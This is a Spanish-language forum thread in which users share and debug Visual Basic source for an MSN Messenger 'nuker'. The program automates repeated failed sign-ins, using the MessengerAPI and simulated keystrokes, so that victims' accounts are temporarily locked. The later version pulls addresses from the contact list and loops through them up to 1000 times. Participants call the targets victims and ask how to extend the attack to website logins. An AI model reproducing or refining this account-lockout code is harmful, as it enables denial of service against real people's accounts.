wenas,hay alguien k tenga el codigo fuente de un nuke para msn,para ver como funciona :rolleyes:
www.messengeradictos.com
Hay un foro en preguntas frecuentes y explica como hacerlo
espero que sea lo que nece4sitas.
no lo encuntro porfavro a ver si es q tu sabes lo puedes explicar...
yo hice uno hace poco tiempo tenia algunos errores el codigo ya lo habia publicado yo en el foro
http://foro.elhacker.net/index.php/topic,100398.0.html
saludos
PD: Si lo puedes corregir para que funcione bien luego pones el codigo porque a esto de programacion para messeneger no entiendo muy bien
Disculpame Robokop pero tu nuker de msn no me anda. Espero q me puedas responder mi error. es q soy nuevo en vb.
Code:
Dim ti As Integer
Public WithEvents MSN As MessengerAPI.MessengerNative<--Error en esta linea
Private Sub Command1_Click()
ti = 0
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
MSN.Signin 0, usuario, password
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.MessengerNative
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
ti = ti + 1
If ti >= 20 Then
Timer1.Enabled = False
Else
Dim password As String
Dim usuario As String
password = "hola"
usuario = Text1.Text
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys usuario
SendKeys "{tab}"
SendKeys password
SendKeys "{enter}"
End If
End Sub
El error Me dice no se a definido el tipo x el usuario.
Desde ya e digo grax
Salu2
creo que lo paso fue que no lo agregastes la referencia de msn. dale a project/references/ y buscas messenger api type library algo asi y la agregas
Cita de: robokop en 11 Marzo 2006, 00:32 AM
yo hice uno hace poco tiempo tenia algunos errores el codigo ya lo habia publicado yo en el foro
http://foro.elhacker.net/index.php/topic,100398.0.html
saludos
PD: Si lo puedes corregir para que funcione bien luego pones el codigo porque a esto de programacion para messeneger no entiendo muy bien
xD si dije que tenia unos errores que no se los eh podido corregir porque no se mucho de visual para msn
RedShots Gracias pero me sige sin andar. Seguro q el problema bien x hay.
Y Robokop Puede ser q tu prog tenga un par de falllos pero a mi ni sikiera me arranca.
Gracias a ambos de todos modos..
Si alguien puede corregir mi error se lo aaradeseria mucho q me lo explike
.......Salu2.......
acaba de decir y repetir que el programa tiene fallos que no ha podido solucionar!!!!!
para solucionar el error prueba poniendo en la parte de arriba en vez de :
Public WithEvents MSN As MessengerAPI.MessengerNative
por esto:
Public WithEvents MSN As Messenger
y en el form:
Set MSN = New MessengerAPI.MessengerNative
por esto
Set MSN = New Messenger
otro error creo que es que defines el usuario y el password 2 veces, pero aun no entiendo que es lo que hace este programa
Este conciste en intentar acceder a una cuenta muchas veces y al pasar esto la cuenta quedara bloqueada temporalmente
redshots gracias pero me sige sin andar x el mismo motivo. >:( Voy a seguir probando cambiando lineas y demas xD.
Si alguien sabe como arreglarlo se lo agradeceria mucho q lo postee..
Gracias..
Salu2
hmmm pues yo vi un programa similar hace poco pero ninguno me funciona asi que no te puedo ayudar
Solo reescribe la parte de las api y liga el programa
saludso
Erik
Erik: Gracias pero Sinceramete no entiendo lo q keres decir. si pudieras mostrar el codigo como kedaria o poner algunas imagenes para entenderlo mejor te lo agradeceria mucho.
PD: Ojala me lo puedas responder y disculpa mi respuesta(es q hace poco q empese con lo de vb). Desde Ya muchas gracias.
Salu2
tambien agrega las referencias del msn
proyecto
->referencias
le das a Messenger Api Type Library
saludos
m.. yo agrege las referencias pero no paso nada..
tmb intente cambiado los codes x estos :
Public WithEvents MSN As Messenger
Set MSN = New Messenger
pero nada..
weno. ya lo arregle.. lo q hice fue cerrar el VB.. avrirlo de nuevo..crear un proyecto... agregar la referencia.. y dsp copiar el cidigo.. y en ves de poner lo q decia al principio lo cambie x el otro
(
Public WithEvents MSN As Messenger
Set MSN = New Messenger
)
eso soluciono mi problema..
ahora el programa corre pero sigue sin andar..
porke me avre el msn del XP en ves de avrir el MSN7.5..
y tira error el msn....
aver alguien q ayude.. gracias chau..
te reporto k es
Public WithEvents MSN As MessengerAPI.Messenger
Set MSN = New MessengerAPI.Messenger
saludos
Cita de: Karen Kiyan belladonalily@hotmail.com en 19 Marzo 2006, 15:48 PM
te reporto k es
Public WithEvents MSN As MessengerAPI.Messenger
Set MSN = New MessengerAPI.Messenger
saludos
si pongo eso no me avre el exe.. y si lo poneo asi
Public WithEvents MSN As MessengerAPI
me avre el msn de windows..
en realidad no es muy importante cual msn abre , se supone k la victima no podra abror el msn de todas formas
saludos
p.d. ayudenme a perfeccionar el code para varios contacs
pero si en vez de negar msn ... se genera el code para k lo haga con las sesiones de inicion de una pag web cualkiera???
sucederia algo'
Este code esta mas avanzado...
recordar darle las referencias
Tengo un problema con el win messenger de windows.
saludos
Dim t1 As Integer
Dim t2 As Integer
Dim flage As Boolean
Public WithEvents MSN As MessengerAPI.MessengerNative
Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Wait(ByVal nSec As Integer)
'Esperar un número de segundos
Dim t1 As Date, t2 As Date
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Private Sub Command1_Click()
t1 = 0
t2 = 0
Dim password As String
Dim usuario As String
Dim flage As Boolean
password = "hola"
x = 2
flage = False
t2 = 0
usuario = List1.List(0)
While (t2 < 1000)
MSN.Signin 0, usuario, password
'For t1 = 0 To 20
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys "{tab}"
SendKeys usuario
SendKeys "{tab}"
SendKeys password
SendKeys "{enter}"
Wait (2)
'Next t1
Label1.Caption = usuario
t2 = t2 + 1
usuario = List1.List(t2 Mod x)
Wend
End Sub
Private Sub Command2_Click()
flage = False
End Sub
Private Sub Form_Load()
Set MSN = New MessengerAPI.MessengerNative
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact 'Declaramos la variable user como contacto del mssenger
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos si esta conectado en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a la list1
If Not (user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH) Then
List1.AddItem user.SigninName 'tb podriamos hacer esto con el nick colocando user.friendlyname
End If
Next
Timer1.Enabled = False
End Sub
ademas se trunca en determinada parte del code ...
espero mas aportes
pues ami me sigue sin arrancar y agrego todas las referencias del messenger
oopppss
me olvide decir k para k capturen los contactos deben tener abierto el msn (el actual 7.5)
El atake se realiza por el msn de windows...
saludos y espero mas respuestas
bueno decri tambien k añadir el
1 textbox como text1
2 command button command1 y command2
un timer//k esta sobrando
y nada mas son 3 referencias de las API
saludos